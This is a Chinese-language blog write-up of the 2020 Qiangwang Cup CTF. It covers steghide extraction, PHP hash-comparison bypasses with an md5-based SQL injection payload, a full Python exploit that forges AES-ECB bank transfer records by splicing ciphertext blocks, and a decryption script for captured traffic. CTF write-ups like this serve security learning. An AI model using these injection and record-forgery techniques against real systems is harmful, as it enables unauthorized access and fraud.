2020强网杯Online-WriteUp

近来档期满满,隔天就一场。猝si的感jio。
越来越菜,也就只能帮二进制爷爷打打杂交交flag这样啦。
just do it.

强网先锋

upload

简单题。给了流量包,结合题目名,八九不离十。直接滤http流,找到了图片上传。

保存下来,结合图片名称hint知道是steghide隐写。直接上工具,题目应该要爆破密码,但是盲猜123456猜中了。

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();


?>

hash考点
level1弱比较,找一个0e开头的明文0e251288019md4后也是0e开头的hash即可绕过
level2 md5强比较,用数组绕过
level3 md5 sql注入,开启了raw输出,找到一个hash为x' or xx...的明文ffifdyop即可
payload:

1
?hash1=0e251288019&hash2[]=111&hash3[]=222&hash4=ffifdyop

bank

上来先sha256爆破,题目提示了明文的字符空间是大小写加数字,简单爆破即可。然后给队伍的token。


一个银行系统。先看hint,给了一段代码。

1
2
3
4
5
6
7
def transact_ecb(key, sender, receiver, amount):
aes = AES.new(key, AES.MODE_ECB)
ct = b""
ct += aes.encrypt(sender)
ct += aes.encrypt(receiver)
ct += aes.encrypt(amount)
return ct

可以知道是基于AES加密的转账系统。
初始时有10cash,拿flag需要1000cash。
常规的转账是,先通过transact拿到由服务器加密的record,然后provide上去即可完成转账。
可以通过view看到全部转账记录(包括别人的)

那么可以考虑通过篡改别人的记录,将接收者改为自己,伪造别人给自己转账。
在record生成代码中,采用发送者+接收者+金额的密文拼接方式。一条record长96个字符,48个字节。那么前16个字节就是发送者的密文,中间16个字节是接收者,后16个字节是金额。
思路清晰:先生成一条自己给别人转账的record,取前16字节就是自己NickName的密文。然后将所有record的中间16个字节替换成自己的密文再全部提交上去。即可伪造别人给自己转账。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import string
import hashlib
from zio import *
from itertools import permutations

def hash_sha256(text):
s = hashlib.sha256()
s.update(text.encode("utf8"))
return s.hexdigest()

def auth(io):
io.read_until("sha256(XXX+")
salt = io.read_until(")")[:-1]
#print(salt)
io.read_until("== ")
hash1 = io.read_until("G")[:-2]
#print(hash1)
space = string.ascii_letters + string.digits
for text_tuple in permutations(space, 3):
#print(text_tuple)
text = ''.join(text_tuple) + salt
enc = hash_sha256(text)
if enc == hash1:
io.read_until("XXX:")
io.writeline(text[:3])
return



ip = "39.101.134.52"
port = 8005

teamtoken = "icqa4f7d3d27c218f218c1ce95559eea"
target=(ip,port)

io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))

auth(io)
io.read_until("teamtoken:")
io.writeline(teamtoken)
io.read_until("name:")
io.writeline("sncker")
io.read_until("> ")
io.writeline("transact")
io.read_until("> ")
io.writeline("a 1")
myname_hash = io.read(32)
#print(myname_hash)
io.read_until("> ")
io.writeline("view records")
io.read_until("more than 100")
r_hash = io.read(10 * 96 + 10)[1:]
r_list = r_hash.split('\x0a')
for _ in range(10):
io.read_until("> ")
io.writeline("provide a record")
io.read_until("> ")
io.writeline(r_list[_][:32] + myname_hash + r_list[_][64:])

io.interact()

红方辅助

给了一个流量包和一个py脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#encoding:utf-8
import socket
import struct
import multiprocessing
import random
from hashlib import md5, sha256

IP = "xxx.xxx.xxx.xxx"
PORT = 10235

def GetSalt(data):
return int((md5(sha256(data.encode()).digest())).hexdigest(), 16) % 256

def encrypt(data, btime, count):
funcs = {
"0" : lambda x, y : x - y,
"1" : lambda x, y : x + y,
"2" : lambda x, y : x ^ y
}

offset = {
"0" : 0xefffff,
"1" : 0xefffff,
"2" : 0xffffff,
}
length = len(data) + 10
fn = str(random.randint(0, 65535) % 3).encode()
salt = GetSalt(data)

t = struct.unpack("<i", btime)[0]
boffset = offset[fn.decode()]
t -= boffset
t = struct.pack("<i", t)

enc = struct.pack("<IIcB", count, length, fn, salt)
i = 0
for c in data:
enc += chr((funcs[fn.decode()](ord(c) ^ ord(t[i]), salt) % 256))
i = (i + 1) % 4

return boffset, enc


def SendMessage(ClientSocket):
f = open("data.txt", "r")
readlines = f.readlines()
f.close()
count = 0

for readline in readlines:
try:
ClientSocket.send("G")

btime = ClientSocket.recv(4)

boffset, data = encrypt(readline, btime, count)
ClientSocket.send(struct.pack("<i", boffset))
ClientSocket.send(data)
pcount = struct.unpack("<i", ClientSocket.recv(4))[0]
count += 1
if pcount != count:
print("error!")
break
except:
print("error!")
break
ClientSocket.close()


if __name__ == '__main__':
ClientSocket = socket.socket(family = socket.AF_INET, type = socket.SOCK_STREAM)
ClientSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ClientSocket.connect((IP,PORT))

SendMessage(ClientSocket)

ClientSocket.close()

粗略看了脚本可以知道是数据处理+网络传输协议。那么就要从抓包流量中逆向出原数据。
因为知道了端口所以可以直接过滤出指定端口的流量。然后保存下来。

看到加密函数里的主要处理代码。

1
enc += chr((funcs[fn.decode()](ord(c) ^ ord(t[i]), salt) % 256))

对照写出解密过程。

1
m += chr((funcs[fn.decode()](ord(c), salt) ^ ord(t[i])) % 256)

对应的funcs也要改为逆函数。

1
2
3
4
5
funcs = {
"0" : lambda x, y : x + y,
"1" : lambda x, y : x - y,
"2" : lambda x, y : x ^ y
}

看脚本可以知道数据分段传输,长度都一样,除了最后一段。但长度信息包含在数据头部所以不影响。
通过分析可以对数据进行划分。

解密过程需要的参数为fn, salt, t
fn,salt都能直接取到。
t朔源可知由btimeboffset决定,这两个也可以取到。
复制加密函数,简单修改一下即可得出解密函数。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#encoding:utf-8
import socket
import struct
import multiprocessing
import random
from hashlib import md5, sha256

def GetSalt(data):
pass

def encrypt(data, btime, count):
pass

def decrypt(data, btime, boffset, count, fn, length, salt):
funcs = {
"0" : lambda x, y : x + y,
"1" : lambda x, y : x - y,
"2" : lambda x, y : x ^ y
}

offset = {
"0" : 0xefffff,
"1" : 0xefffff,
"2" : 0xffffff,
}

t = struct.unpack("<i", btime)[0]
boffset = offset[fn.decode()]
t -= boffset
t = struct.pack("<i", t)

i = 0
m = ""
for c in data:
m += chr((funcs[fn.decode()](ord(c), salt) ^ ord(t[i]))%256)
i = (i + 1) % 4

return boffset, m

def SendMessage(ClientSocket):
pass

if __name__ == '__main__':
with open("alldata", "rb") as f:
with open("flag.txt", "w+") as f1:
while True:
f.read(1)
btime = f.read(4)
boffset = struct.unpack("<i", f.read(4))[0]
count = struct.unpack("<l", f.read(4))[0]
length = struct.unpack("<l", f.read(4))[0]
fn = struct.unpack("<c", f.read(1))[0]
salt = struct.unpack("<B", f.read(1))[0]
data = f.read(length - 10)
f.read(4)
a, m = decrypt(data, btime, boffset, count, fn, length, salt)

f1.write(m)

打开flag.txt

还要手动拼一下,有点小过分:)

1
QWB{3e752bf509ddb4e9a42f1ef30beff495}
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/08/26/2020强网杯Online-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog